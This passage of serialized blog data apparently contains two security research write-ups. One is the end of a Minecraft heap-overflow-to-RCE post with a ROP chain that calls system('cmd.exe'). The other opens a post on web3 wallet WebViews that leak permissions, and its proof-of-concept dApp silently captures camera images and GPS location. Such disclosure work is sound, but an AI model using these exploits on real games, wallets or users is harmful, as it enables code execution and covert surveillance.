",{"type":24,"tag":284,"props":162763,"children":162765},{"className":162764},[],[162766],{"type":29,"value":162767},"GetModuleHandle(\"ucrtbase.dll\")",{"type":29,"value":162769}," to obtain the base address of ",{"type":24,"tag":284,"props":162771,"children":162773},{"className":162772},[],[162774],{"type":29,"value":162775},"ucrtbase.dll",{"type":29,"value":162777}," (which exports ",{"type":24,"tag":284,"props":162779,"children":162781},{"className":162780},[],[162782],{"type":29,"value":138479},{"type":29,"value":162784},"). It then calls ",{"type":24,"tag":284,"props":162786,"children":162788},{"className":162787},[],[162789],{"type":29,"value":162790},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":29,"value":162792}," to retrieve the function’s address. Finally, it invokes ",{"type":24,"tag":284,"props":162794,"children":162796},{"className":162795},[],[162797],{"type":29,"value":138479},{"type":29,"value":162799}," with the \"cmd.exe\" string.",{"type":24,"tag":25,"props":162801,"children":162802},{},[162803],{"type":29,"value":162804},"In the exploit script, the ROP chain looks something like this:",{"type":24,"tag":317,"props":162806,"children":162808},{"code":162807,"language":789,"meta":7,"className":790,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[162809],{"type":24,"tag":284,"props":162810,"children":162811},{"__ignoreMap":7},[162812,162820,162828,162853,162861,162869,162876,162884,162892,162919,162932,162945,162966,162995,163024,163031,163039,163052,163060,163096,163104,163111,163119,163126,163151,163162,163174],{"type":24,"tag":327,"props":162813,"children":162814},{"class":329,"line":330},[162815],{"type":24,"tag":327,"props":162816,"children":162817},{"style":551},[162818],{"type":29,"value":162819},"# get the address of `GetModuleHandle` to `rax`\n",{"type":24,"tag":327,"props":162821,"children":162822},{"class":329,"line":367},[162823],{"type":24,"tag":327,"props":162824,"children":162825},{"style":346},[162826],{"type":29,"value":162827},"rop.gadget(pop_r8)\n",{"type":24,"tag":327,"props":162829,"children":162830},{"class":329,"line":408},[162831,162836,162840,162845,162849],{"type":24,"tag":327,"props":162832,"children":162833},{"style":346},[162834],{"type":29,"value":162835},"rop.gadget(addr_get_module_handle_a ",{"type":24,"tag":327,"props":162837,"children":162838},{"style":381},[162839],{"type":29,"value":11899},{"type":24,"tag":327,"props":162841,"children":162842},{"style":334},[162843],{"type":29,"value":162844}," 0x",{"type":24,"tag":327,"props":162846,"children":162847},{"style":397},[162848],{"type":29,"value":141596},{"type":24,"tag":327,"props":162850,"children":162851},{"style":346},[162852],{"type":29,"value":852},{"type":24,"tag":327,"props":162854,"children":162855},{"class":329,"line":421},[162856],{"type":24,"tag":327,"props":162857,"children":162858},{"style":551},[162859],{"type":29,"value":162860},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":24,"tag":327,"props":162862,"children":162863},{"class":329,"line":450},[162864],{"type":24,"tag":327,"props":162865,"children":162866},{"style":346},[162867],{"type":29,"value":162868},"rop.gadget(mov_rax_r8_28)\n",{"type":24,"tag":327,"props":162870,"children":162871},{"class":329,"line":481},[162872],{"type":24,"tag":327,"props":162873,"children":162874},{"emptyLinePlaceholder":16},[162875],{"type":29,"value":544},{"type":24,"tag":327,"props":162877,"children":162878},{"class":329,"line":500},[162879],{"type":24,"tag":327,"props":162880,"children":162881},{"style":551},[162882],{"type":29,"value":162883},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":24,"tag":327,"props":162885,"children":162886},{"class":329,"line":529},[162887],{"type":24,"tag":327,"props":162888,"children":162889},{"style":346},[162890],{"type":29,"value":162891},"rop.gadget(pop_rcx)\n",{"type":24,"tag":327,"props":162893,"children":162894},{"class":329,"line":538},[162895,162900,162905,162910,162914],{"type":24,"tag":327,"props":162896,"children":162897},{"style":346},[162898],{"type":29,"value":162899},"rop.gadget(",{"type":24,"tag":327,"props":162901,"children":162902},{"style":334},[162903],{"type":29,"value":162904},"0x",{"type":24,"tag":327,"props":162906,"children":162907},{"style":397},[162908],{"type":29,"value":162909},"7468B68",{"type":24,"tag":327,"props":162911,"children":162912},{"style":346},[162913],{"type":29,"value":1674},{"type":24,"tag":327,"props":162915,"children":162916},{"style":551},[162917],{"type":29,"value":162918},"# offset of \"ucrtbase.dll\" string\n",{"type":24,"tag":327,"props":162920,"children":162921},{"class":329,"line":547},[162922,162927],{"type":24,"tag":327,"props":162923,"children":162924},{"style":346},[162925],{"type":29,"value":162926},"rop.gadget(ret) ",{"type":24,"tag":327,"props":162928,"children":162929},{"style":551},[162930],{"type":29,"value":162931},"# movaps alignment\n",{"type":24,"tag":327,"props":162933,"children":162934},{"class":329,"line":557},[162935,162940],{"type":24,"tag":327,"props":162936,"children":162937},{"style":346},[162938],{"type":29,"value":162939},"rop.gadget(push_rax_ret) ",{"type":24,"tag":327,"props":162941,"children":162942},{"style":551},[162943],{"type":29,"value":162944},"# calls `GetModuleHandle`\n",{"type":24,"tag":327,"props":162946,"children":162947},{"class":329,"line":586},[162948,162953,162957,162962],{"type":24,"tag":327,"props":162949,"children":162950},{"style":346},[162951],{"type":29,"value":162952},"rop.literal(u64(",{"type":24,"tag":327,"props":162954,"children":162955},{"style":334},[162956],{"type":29,"value":10828},{"type":24,"tag":327,"props":162958,"children":162959},{"style":844},[162960],{"type":29,"value":162961},"\"ucrtbase\"",{"type":24,"tag":327,"props":162963,"children":162964},{"style":346},[162965],{"type":29,"value":1045},{"type":24,"tag":327,"props":162967,"children":162968},{"class":329,"line":1017},[162969,162973,162977,162982,162987,162991],{"type":24,"tag":327,"props":162970,"children":162971},{"style":346},[162972],{"type":29,"value":162952},{"type":24,"tag":327,"props":162974,"children":162975},{"style":334},[162976],{"type":29,"value":10828},{"type":24,"tag":327,"props":162978,"children":162979},{"style":844},[162980],{"type":29,"value":162981},"\".dll",{"type":24,"tag":327,"props":162983,"children":162984},{"style":55093},[162985],{"type":29,"value":162986},"\\x00\\x00\\x00\\x00",{"type":24,"tag":327,"props":162988,"children":162989},{"style":844},[162990],{"type":29,"value":1406},{"type":24,"tag":327,"props":162992,"children":162993},{"style":346},[162994],{"type":29,"value":1045},{"type":24,"tag":327,"props":162996,"children":162997},{"class":329,"line":1026},[162998,163002,163006,163011,163016,163020],{"type":24,"tag":327,"props":162999,"children":163000},{"style":346},[163001],{"type":29,"value":162952},{"type":24,"tag":327,"props":163003,"children":163004},{"style":334},[163005],{"type":29,"value":10828},{"type":24,"tag":327,"props":163007,"children":163008},{"style":844},[163009],{"type":29,"value":163010},"\"system",{"type":24,"tag":327,"props":163012,"children":163013},{"style":55093},[163014],{"type":29,"value":163015},"\\x00\\x00",{"type":24,"tag":327,"props":163017,"children":163018},{"style":844},[163019],{"type":29,"value":1406},{"type":24,"tag":327,"props":163021,"children":163022},{"style":346},[163023],{"type":29,"value":1045},{"type":24,"tag":327,"props":163025,"children":163026},{"class":329,"line":1048},[163027],{"type":24,"tag":327,"props":163028,"children":163029},{"emptyLinePlaceholder":16},[163030],{"type":29,"value":544},{"type":24,"tag":327,"props":163032,"children":163033},{"class":329,"line":1067},[163034],{"type":24,"tag":327,"props":163035,"children":163036},{"style":551},[163037],{"type":29,"value":163038},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":24,"tag":327,"props":163040,"children":163041},{"class":329,"line":1075},[163042,163047],{"type":24,"tag":327,"props":163043,"children":163044},{"style":346},[163045],{"type":29,"value":163046},"rop.gadget(xchg_rcx_rax) ",{"type":24,"tag":327,"props":163048,"children":163049},{"style":551},[163050],{"type":29,"value":163051},"# move the return value of `GetModuleHandle` to rcx\n",{"type":24,"tag":327,"props":163053,"children":163054},{"class":329,"line":1084},[163055],{"type":24,"tag":327,"props":163056,"children":163057},{"style":346},[163058],{"type":29,"value":163059},"rop.gadget(pop_rdx)\n",{"type":24,"tag":327,"props":163061,"children":163062},{"class":329,"line":1100},[163063,163067,163071,163075,163079,163083,163087,163091],{"type":24,"tag":327,"props":163064,"children":163065},{"style":346},[163066],{"type":29,"value":162899},{"type":24,"tag":327,"props":163068,"children":163069},{"style":334},[163070],{"type":29,"value":162904},{"type":24,"tag":327,"props":163072,"children":163073},{"style":397},[163074],{"type":29,"value":162909},{"type":24,"tag":327,"props":163076,"children":163077},{"style":381},[163078],{"type":29,"value":4407},{"type":24,"tag":327,"props":163080,"children":163081},{"style":334},[163082],{"type":29,"value":162844},{"type":24,"tag":327,"props":163084,"children":163085},{"style":397},[163086],{"type":29,"value":95980},{"type":24,"tag":327,"props":163088,"children":163089},{"style":346},[163090],{"type":29,"value":1674},{"type":24,"tag":327,"props":163092,"children":163093},{"style":551},[163094],{"type":29,"value":163095},"# offset of \"system\" string\n",{"type":24,"tag":327,"props":163097,"children":163098},{"class":329,"line":1128},[163099],{"type":24,"tag":327,"props":163100,"children":163101},{"style":346},[163102],{"type":29,"value":163103},"rop.gadget(get_proc_addr)\n",{"type":24,"tag":327,"props":163105,"children":163106},{"class":329,"line":1148},[163107],{"type":24,"tag":327,"props":163108,"children":163109},{"emptyLinePlaceholder":16},[163110],{"type":29,"value":544},{"type":24,"tag":327,"props":163112,"children":163113},{"class":329,"line":1176},[163114],{"type":24,"tag":327,"props":163115,"children":163116},{"style":551},[163117],{"type":29,"value":163118},"# call `system(\"cmd.exe\")`\n",{"type":24,"tag":327,"props":163120,"children":163121},{"class":329,"line":1184},[163122],{"type":24,"tag":327,"props":163123,"children":163124},{"style":346},[163125],{"type":29,"value":162891},{"type":24,"tag":327,"props":163127,"children":163128},{"class":329,"line":1192},[163129,163133,163137,163142,163146],{"type":24,"tag":327,"props":163130,"children":163131},{"style":346},[163132],{"type":29,"value":162899},{"type":24,"tag":327,"props":163134,"children":163135},{"style":334},[163136],{"type":29,"value":162904},{"type":24,"tag":327,"props":163138,"children":163139},{"style":397},[163140],{"type":29,"value":163141},"7468DB8",{"type":24,"tag":327,"props":163143,"children":163144},{"style":346},[163145],{"type":29,"value":1674},{"type":24,"tag":327,"props":163147,"children":163148},{"style":551},[163149],{"type":29,"value":163150},"# offset of \"cmd.exe\" string\n",{"type":24,"tag":327,"props":163152,"children":163153},{"class":329,"line":1212},[163154,163158],{"type":24,"tag":327,"props":163155,"children":163156},{"style":346},[163157],{"type":29,"value":162926},{"type":24,"tag":327,"props":163159,"children":163160},{"style":551},[163161],{"type":29,"value":162931},{"type":24,"tag":327,"props":163163,"children":163164},{"class":329,"line":4841},[163165,163169],{"type":24,"tag":327,"props":163166,"children":163167},{"style":346},[163168],{"type":29,"value":162939},{"type":24,"tag":327,"props":163170,"children":163171},{"style":551},[163172],{"type":29,"value":163173},"# calls `system`\n",{"type":24,"tag":327,"props":163175,"children":163176},{"class":329,"line":4862},[163177,163181,163185,163190,163195,163199],{"type":24,"tag":327,"props":163178,"children":163179},{"style":346},[163180],{"type":29,"value":162952},{"type":24,"tag":327,"props":163182,"children":163183},{"style":334},[163184],{"type":29,"value":10828},{"type":24,"tag":327,"props":163186,"children":163187},{"style":844},[163188],{"type":29,"value":163189},"\"cmd.exe",{"type":24,"tag":327,"props":163191,"children":163192},{"style":55093},[163193],{"type":29,"value":163194},"\\x00",{"type":24,"tag":327,"props":163196,"children":163197},{"style":844},[163198],{"type":29,"value":1406},{"type":24,"tag":327,"props":163200,"children":163201},{"style":346},[163202],{"type":29,"value":1045},{"type":24,"tag":235,"props":163204,"children":163206},{"id":163205},"demo",[163207],{"type":29,"value":163208},"Demo",{"type":24,"tag":25,"props":163210,"children":163211},{},[163212],{"type":29,"value":163213},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":24,"tag":138585,"props":163215,"children":163218},{"className":163216,"controls":16},[148552,163217],"blog-video-wide",[163219,163220,163224],{"type":29,"value":148555},{"type":24,"tag":147791,"props":163221,"children":163223},{"src":163222,"type":138583},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":29,"value":148561},{"type":24,"tag":228,"props":163226,"children":163227},{"id":10412},[163228],{"type":29,"value":226},{"type":24,"tag":25,"props":163230,"children":163231},{},[163232],{"type":29,"value":163233},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":24,"tag":25,"props":163235,"children":163236},{},[163237],{"type":29,"value":163238},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":24,"tag":25,"props":163240,"children":163241},{},[163242],{"type":29,"value":163243},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":24,"tag":10448,"props":163245,"children":163246},{},[163247],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":163249},[163250,163254,163259,163270],{"id":153910,"depth":367,"text":153913,"children":163251},[163252,163253],{"id":153945,"depth":408,"text":153948},{"id":153961,"depth":408,"text":153964},{"id":153982,"depth":367,"text":153985,"children":163255},[163256,163257,163258],{"id":153998,"depth":408,"text":154001},{"id":154086,"depth":408,"text":154089},{"id":156386,"depth":408,"text":156389},{"id":12987,"depth":367,"text":12990,"children":163260},[163261,163262,163263,163264,163265,163266,163267,163268,163269],{"id":156493,"depth":408,"text":156496},{"id":156518,"depth":408,"text":156521},{"id":156655,"depth":408,"text":156658},{"id":158819,"depth":408,"text":158822},{"id":159181,"depth":408,"text":159184},{"id":160001,"depth":408,"text":160004},{"id":162115,"depth":408,"text":162118},{"id":162733,"depth":408,"text":162736},{"id":163205,"depth":408,"text":163208},{"id":10412,"depth":367,"text":226},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":163275,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":163276,"description":163277,"date":163278,"author":163279,"image":163281,"isFeatured":16,"onBlogPage":16,"tags":163283,"body":163285,"_type":10481,"_id":165608,"_source":10483,"_file":165609,"_stem":165610,"_extension":10486},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[37911,37910,163280],"nikolaos",{"src":163282,"width":103995,"height":14},"/posts/insecure-webview-integrations/title.png",[38851,138691,163284],"webview",{"type":21,"children":163286,"toc":165595},[163287,163292,163297,163303,163308,163313,163318,163324,163329,163335,163357,163370,163390,163404,163410,163424,163432,163437,163443,163448,163457,163478,163622,163627,163633,163638,163643,163657,163661,163666,163684,165112,165116,165121,165133,165142,165147,165153,165175,165183,165188,165194,165199,165217,165222,165228,165241,165523,165551,165564,165569,165582,165586,165591],{"type":24,"tag":25,"props":163288,"children":163289},{},[163290],{"type":29,"value":163291},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":24,"tag":25,"props":163293,"children":163294},{},[163295],{"type":29,"value":163296},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":24,"tag":42085,"props":163298,"children":163300},{"id":163299},"exploiting-mobile-webviews",[163301],{"type":29,"value":163302},"Exploiting Mobile WebViews",{"type":24,"tag":25,"props":163304,"children":163305},{},[163306],{"type":29,"value":163307},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":24,"tag":25,"props":163309,"children":163310},{},[163311],{"type":29,"value":163312},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":24,"tag":25,"props":163314,"children":163315},{},[163316],{"type":29,"value":163317},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":24,"tag":228,"props":163319,"children":163321},{"id":163320},"handling-webview-permissions",[163322],{"type":29,"value":163323},"Handling WebView permissions",{"type":24,"tag":25,"props":163325,"children":163326},{},[163327],{"type":29,"value":163328},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":24,"tag":235,"props":163330,"children":163332},{"id":163331},"android",[163333],{"type":29,"value":163334},"Android",{"type":24,"tag":25,"props":163336,"children":163337},{},[163338,163340,163347,163349,163355],{"type":29,"value":163339},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":24,"tag":57,"props":163341,"children":163344},{"href":163342,"rel":163343},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[61],[163345],{"type":29,"value":163346},"onPermissionRequest",{"type":29,"value":163348},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":24,"tag":284,"props":163350,"children":163352},{"className":163351},[],[163353],{"type":29,"value":163354},"PermissionRequest",{"type":29,"value":163356}," object where the WebView developers must decide whether to grant or deny it.",{"type":24,"tag":1706,"props":163358,"children":163359},{},[163360],{"type":24,"tag":25,"props":163361,"children":163362},{},[163363,163365,163368],{"type":29,"value":163364},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":24,"tag":327,"props":163366,"children":163367},{},[],{"type":29,"value":163369},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":24,"tag":25,"props":163371,"children":163372},{},[163373,163375,163381,163383,163389],{"type":29,"value":163374},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":24,"tag":284,"props":163376,"children":163378},{"className":163377},[],[163379],{"type":29,"value":163380},"getOrigin()",{"type":29,"value":163382}," and the requested permissions with ",{"type":24,"tag":284,"props":163384,"children":163386},{"className":163385},[],[163387],{"type":29,"value":163388},"getResources()",{"type":29,"value":66},{"type":24,"tag":25,"props":163391,"children":163392},{},[163393,163395,163402],{"type":29,"value":163394},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":24,"tag":57,"props":163396,"children":163399},{"href":163397,"rel":163398},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[61],[163400],{"type":29,"value":163401},"webview_shell",{"type":29,"value":163403},". In this instance, no origin checks are performed.",{"type":24,"tag":235,"props":163405,"children":163407},{"id":163406},"ios",[163408],{"type":29,"value":163409},"iOS",{"type":24,"tag":25,"props":163411,"children":163412},{},[163413,163415,163422],{"type":29,"value":163414},"On the contrary, iOS ",{"type":24,"tag":57,"props":163416,"children":163419},{"href":163417,"rel":163418},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[61],[163420],{"type":29,"value":163421},"documentation",{"type":29,"value":163423}," states that:",{"type":24,"tag":1706,"props":163425,"children":163426},{},[163427],{"type":24,"tag":25,"props":163428,"children":163429},{},[163430],{"type":29,"value":163431},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":24,"tag":25,"props":163433,"children":163434},{},[163435],{"type":29,"value":163436},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":24,"tag":228,"props":163438,"children":163440},{"id":163439},"the-shortcomings-of-webview-implementations",[163441],{"type":29,"value":163442},"The shortcomings of WebView implementations",{"type":24,"tag":25,"props":163444,"children":163445},{},[163446],{"type":29,"value":163447},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":24,"tag":38056,"props":163449,"children":163450},{"style":38058},[163451],{"type":24,"tag":11511,"props":163452,"children":163456},{"src":163453,"alt":163454,"style":163455},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":163458,"children":163459},{},[163460,163462,163468,163470,163476],{"type":29,"value":163461},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":24,"tag":284,"props":163463,"children":163465},{"className":163464},[],[163466],{"type":29,"value":163467},"react-native-webview",{"type":29,"value":163469},". If we take a look at how they handle a request that reaches the ",{"type":24,"tag":57,"props":163471,"children":163474},{"href":163472,"rel":163473},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[61],[163475],{"type":29,"value":163346},{"type":29,"value":163477}," method, we see a similar pattern.",{"type":24,"tag":317,"props":163479,"children":163483},{"className":163480,"code":163481,"language":163482,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[163484],{"type":24,"tag":284,"props":163485,"children":163486},{"__ignoreMap":7},[163487,163495,163524,163584,163604,163615],{"type":24,"tag":327,"props":163488,"children":163489},{"class":329,"line":330},[163490],{"type":24,"tag":327,"props":163491,"children":163492},{"style":551},[163493],{"type":29,"value":163494},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":24,"tag":327,"props":163496,"children":163497},{"class":329,"line":367},[163498,163502,163506,163511,163515,163520],{"type":24,"tag":327,"props":163499,"children":163500},{"style":425},[163501],{"type":29,"value":5999},{"type":24,"tag":327,"props":163503,"children":163504},{"style":346},[163505],{"type":29,"value":5894},{"type":24,"tag":327,"props":163507,"children":163508},{"style":356},[163509],{"type":29,"value":163510},"requestedAndroidPermissions",{"type":24,"tag":327,"props":163512,"children":163513},{"style":346},[163514],{"type":29,"value":66},{"type":24,"tag":327,"props":163516,"children":163517},{"style":340},[163518],{"type":29,"value":163519},"isEmpty",{"type":24,"tag":327,"props":163521,"children":163522},{"style":346},[163523],{"type":29,"value":98748},{"type":24,"tag":327,"props":163525,"children":163526},{"class":329,"line":408},[163527,163532,163536,163541,163545,163550,163554,163559,163563,163567,163572,163576,163580],{"type":24,"tag":327,"props":163528,"children":163529},{"style":356},[163530],{"type":29,"value":163531},"    request",{"type":24,"tag":327,"props":163533,"children":163534},{"style":346},[163535],{"type":29,"value":66},{"type":24,"tag":327,"props":163537,"children":163538},{"style":340},[163539],{"type":29,"value":163540},"grant",{"type":24,"tag":327,"props":163542,"children":163543},{"style":346},[163544],{"type":29,"value":349},{"type":24,"tag":327,"props":163546,"children":163547},{"style":356},[163548],{"type":29,"value":163549},"grantedPermissions",{"type":24,"tag":327,"props":163551,"children":163552},{"style":346},[163553],{"type":29,"value":66},{"type":24,"tag":327,"props":163555,"children":163556},{"style":340},[163557],{"type":29,"value":163558},"toArray",{"type":24,"tag":327,"props":163560,"children":163561},{"style":346},[163562],{"type":29,"value":349},{"type":24,"tag":327,"props":163564,"children":163565},{"style":425},[163566],{"type":29,"value":22646},{"type":24,"tag":327,"props":163568,"children":163569},{"style":1639},[163570],{"type":29,"value":163571}," String",{"type":24,"tag":327,"props":163573,"children":163574},{"style":346},[163575],{"type":29,"value":11329},{"type":24,"tag":327,"props":163577,"children":163578},{"style":397},[163579],{"type":29,"value":2988},{"type":24,"tag":327,"props":163581,"children":163582},{"style":346},[163583],{"type":29,"value":110239},{"type":24,"tag":327,"props":163585,"children":163586},{"class":329,"line":421},[163587,163592,163596,163600],{"type":24,"tag":327,"props":163588,"children":163589},{"style":346},[163590],{"type":29,"value":163591},"    grantedPermissions ",{"type":24,"tag":327,"props":163593,"children":163594},{"style":381},[163595],{"type":29,"value":384},{"type":24,"tag":327,"props":163597,"children":163598},{"style":334},[163599],{"type":29,"value":76994},{"type":24,"tag":327,"props":163601,"children":163602},{"style":346},[163603],{"type":29,"value":405},{"type":24,"tag":327,"props":163605,"children":163606},{"class":329,"line":450},[163607,163611],{"type":24,"tag":327,"props":163608,"children":163609},{"style":425},[163610],{"type":29,"value":6023},{"type":24,"tag":327,"props":163612,"children":163613},{"style":346},[163614],{"type":29,"value":405},{"type":24,"tag":327,"props":163616,"children":163617},{"class":329,"line":481},[163618],{"type":24,"tag":327,"props":163619,"children":163620},{"style":346},[163621],{"type":29,"value":592},{"type":24,"tag":25,"props":163623,"children":163624},{},[163625],{"type":29,"value":163626},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":24,"tag":235,"props":163628,"children":163630},{"id":163629},"real-world-exploitation",[163631],{"type":29,"value":163632},"Real world exploitation",{"type":24,"tag":25,"props":163634,"children":163635},{},[163636],{"type":29,"value":163637},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":24,"tag":25,"props":163639,"children":163640},{},[163641],{"type":29,"value":163642},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":24,"tag":25,"props":163644,"children":163645},{},[163646,163648,163655],{"type":29,"value":163647},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":24,"tag":57,"props":163649,"children":163652},{"href":163650,"rel":163651},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[61],[163653],{"type":29,"value":163654},"Justson",{"type":29,"value":163656},", used by a popular wallet in the Stellar ecosystem.",{"type":24,"tag":168,"props":163658,"children":163659},{"id":46218},[163660],{"type":29,"value":41541},{"type":24,"tag":25,"props":163662,"children":163663},{},[163664],{"type":29,"value":163665},"In order to exploit this issue, we assume the following preconditions:",{"type":24,"tag":175,"props":163667,"children":163668},{},[163669,163674,163679],{"type":24,"tag":179,"props":163670,"children":163671},{},[163672],{"type":29,"value":163673},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":24,"tag":179,"props":163675,"children":163676},{},[163677],{"type":29,"value":163678},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":24,"tag":179,"props":163680,"children":163681},{},[163682],{"type":29,"value":163683},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":24,"tag":317,"props":163685,"children":163687},{"className":56742,"code":163686,"language":39093,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    